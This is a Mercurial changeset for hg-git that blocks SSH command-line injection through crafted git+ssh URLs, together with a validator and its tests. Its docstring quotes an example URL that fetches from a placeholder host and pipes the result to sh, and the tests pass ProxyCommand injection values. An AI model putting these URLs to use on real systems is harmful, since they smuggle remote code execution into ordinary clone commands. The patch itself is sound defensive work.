changeset 1043:b4d2180739bb

ssh: avoid SSH command-line injection [SEC]
author Sean Farley <sean@farley.io>
date Fri, 04 Aug 2017 14:34:57 -0700
parents c96bf9e61598
children 9b09dd0a6308
files hggit/git_handler.py hggit/util.py tests/test-git-clone.t
diffstat 3 files changed, 36 insertions(+), 1 deletions(-) [+]
line wrap: on
line diff
--- a/hggit/git_handler.py
+++ b/hggit/git_handler.py
@@ -1675,10 +1675,11 @@
         git_match = RE_GIT_URI.match(uri)
         if git_match:
             res = git_match.groupdict()
+            host, port, sepr = res['host'], res['port'], res['sepr']
             transport = client.TCPGitClient
             if 'ssh' in res['scheme']:
+                util.checksafessh(host)
                 transport = client.SSHGitClient
-            host, port, sepr = res['host'], res['port'], res['sepr']
             path = res['path']
             if sepr == '/' and not path.startswith('~'):
                 path = '/' + path
--- a/hggit/util.py
+++ b/hggit/util.py
@@ -1,6 +1,7 @@
 """Compatibility functions for old Mercurial versions and other utility
 functions."""
 import re
+import urllib
 
 try:
     from collections import OrderedDict
@@ -8,7 +9,10 @@
     from ordereddict import OrderedDict
 
 from dulwich import errors
+from mercurial.i18n import _
 from mercurial import (
+    encoding,
+    error,
     lock as lockmod,
     util as hgutil,
 )
@@ -119,3 +123,18 @@
         tr.close()
     finally:
         lockmod.release(tr, lock, wlock)
+
+def checksafessh(host):
+    """check if a hostname is a potentially unsafe ssh exploit (SEC)
+
+    This is a sanity check for ssh urls. ssh will parse the first item as
+    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
+    Let's prevent these potentially exploited urls entirely and warn the
+    user.
+
+    Raises an error.Abort when the url is unsafe.
+    """
+    host = urllib.unquote(host)
+    if host.startswith('-') or '|' in host:
+        raise error.Abort(_('potentially unsafe hostname: %r') %
+                          (host,))
--- a/tests/test-git-clone.t
+++ b/tests/test-git-clone.t
@@ -36,3 +36,18 @@
    * master                    1:7fe02317c63d
   $ hg -R hgrepo gverify
   verifying rev 7fe02317c63d against git commit 9497a4ee62e16ee641860d7677cdb2589ea15554
+
+test for ssh vulnerability
+
+  $ hg clone 'git+ssh://-oProxyCommand=rm${IFS}nonexistent/path' | grep -v 'destination\|pulling from'
+  abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent'
+  [1]
+  $ hg clone 'git+ssh://%2DoProxyCommand=rm${IFS}nonexistent/path' | grep -v 'destination\|pulling from'
+  abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent'
+  [1]
+
+  $ hg init a
+  $ cd a
+  $ hg pull 'git+ssh://-oProxyCommand=rm${IFS}nonexistent/path' | grep -v 'destination\|pulling from'
+  abort: potentially unsafe hostname: '-oProxyCommand=rm${IFS}nonexistent'
+  [1]